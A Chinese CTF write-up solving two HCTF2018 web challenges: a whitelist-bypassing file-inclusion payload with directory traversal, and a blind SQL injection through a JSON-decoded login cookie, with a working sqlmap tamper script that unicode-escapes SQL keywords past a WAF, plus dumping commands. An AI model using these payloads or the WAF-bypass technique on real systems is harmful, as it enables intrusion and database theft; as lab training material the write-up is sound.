HCTF2018-warm_up、kzone

HCTF2018 Web题 warm up和 kzone 复现

前言

继续CTF复现,这次是HCTF2018 Web题里的 warmup 和 kzone,docker地址就不放了,见前面的文章。


warmup

这题好像是签到题,比较简单。题目进去是一个滑稽图片,很容易能够在源码里找到提示:source.php

于是直接访问source.php,就得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这里主要是一个文件包含的漏洞,然后有白名单,白名单里只有source.phphint.php,于是访问另一个白名单文件hint.phphttp://xx.xx.xx.xx:9999/?file=hint.php然后页面返回内容为flag not here, and flag in ffffllllaaaagggg,这个意思应该是flag在ffffllllaaaagggg文件里面。那现在就要解决如何绕过白名单,包含ffffllllaaaagggg文件这个问题。

于是看到源代码,看到checkFile函数,发现里面把传入的file参数做了个?截断处理,估计这个跟出flag有关。后面搜索之后,发现这题是利用phpmyadmin 4.8.x的一个LFI漏洞,相关文章地址:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/

利用思路是,利用添加?绕过白名单,然后来到include $_REQUEST['file']这行代码,这里是利用文件名后加?/,使得hint.php?/变为一个不存在的文件名,绕过checkFile函数,然后再在后面添加../进行目录穿越(只适用于linux)

然后跟hint.php的内容一联系,构造?file=hint.php?/../ ··· ../ffffllllaaaagggg格式的payload依次尝试,最后发现在跳跃4层目录后成功访问?file=hint.php?/../../../../ffffllllaaaagggg,得到flag。


kzone

题目进去是个钓鱼网站,会转到QQ空间。既然是钓鱼网站,那就扫下后台有没有别的文件。

发现了www.zip等一系列文件,把www.zip文件下载下来,是整个网站的源码。

代码结构如下:

admin文件夹:管理整个钓鱼网站,导出、查看、删除钓鱼信息
include文件:包含一些功能性文件
2018.php:钓鱼插入文件

几个关键代码如下。
首先看到 include/common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
common.php
<?php

error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb768526');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();

include ROOT.'../config.php';

if(!isset($port))$port='3306';
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);

$password_hash='!@#%!s!';
require_once "safe.php";
require_once ROOT."function.php";
require_once ROOT."member.php";
require_once ROOT."os.php";
require_once ROOT."kill.intercept.php";
?>

这里common.php定义了一些常量,然后包含include目录下的其他文件,包括safe.php、member.php等,其中safe.php代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
safe.php
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}

foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>

这里safe.php做了一个过滤,把一些SQL语句的关键词给过滤了,过滤对象为GET、POST、COOKIE数组。然后是member.php,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
member.php
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>

这里就存在问题了,首先是这里对cookie数组里的数据执行了SQL语句进行验证,存在注入点,然后是后面比较密码的时候用到的是弱比较。那现在要解决的是,如何绕过safe.php里面的waf,这里就看到了第7行的json_decode,这里把COOKIE数组进行了一个json_decode处理,这里找到一篇浅谈json参数解析对waf绕过的影响

简单讲,就是利用json解码的时候,会把\u开头的unicode字符转回unicode对应的字符,即可以忽视掉waf里面的过滤,进行盲注。
我们可以看到代码里面两个if判断,都有相应setcookie处理,于是我们就可以把页面响应里含不含setcookie作为盲注的标志。
当用户名存在,密码错误的时候,返回两个setcookie,当用户名、密码都错误时,返回四个setcookie,当用户名错误,密码正确的时候,返回两个setcookie···

于是我们就可以在cookie里构造数据进行盲注,如用\u0075nion代替union。然后这里就可以用sqlmap跑一下了,编写sqlmap的tamper脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"admin%s","admin_pass":65};'''
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload

然后把抓包结果保存为txt文件,hctf_kzone.txt如下

1
2
3
4
5
6
7
8
9
10
GET /admin/ HTTP/1.1
Host: xx.xx.xx.xx:7777
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: islogin=1;login_data=*
Connection: close

注意在参数位置加上*指定,然后sqlmap运行时指定为布尔盲注 --technique=B,指定错误时的回显为window.location --not-string=window.location

然后就开始执行跑sqlmap吧。
爆数据库
python sqlmap.py -r hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 --dbs

爆表
python sqlmap.py -r c:\\Users\\HP\\Desktop\\hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 -D hctf_kouzone --tables

爆列
python sqlmap.py -r c:\\Users\\HP\\Desktop\\hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 -D hctf_kouzone -T F1444g --columns

爆flag
python sqlmap.py -r c:\\Users\\HP\\Desktop\\hctf_kzone.txt --tamper hctf_kzone --technique=B --dbms mysql --not-string=window.location --thread=10 -D hctf_kouzone -T F1444g -C F1a9 --dump

这道题还可以自己写python脚本盲注,而且可以不利用json解码这个点,以后再来写吧,最近心态有点崩。。。


参考

https://www.anquanke.com/post/id/163958#h2-4

ヾノ≧∀≦)o 来呀!快活呀!~
-------- 本文结束 --------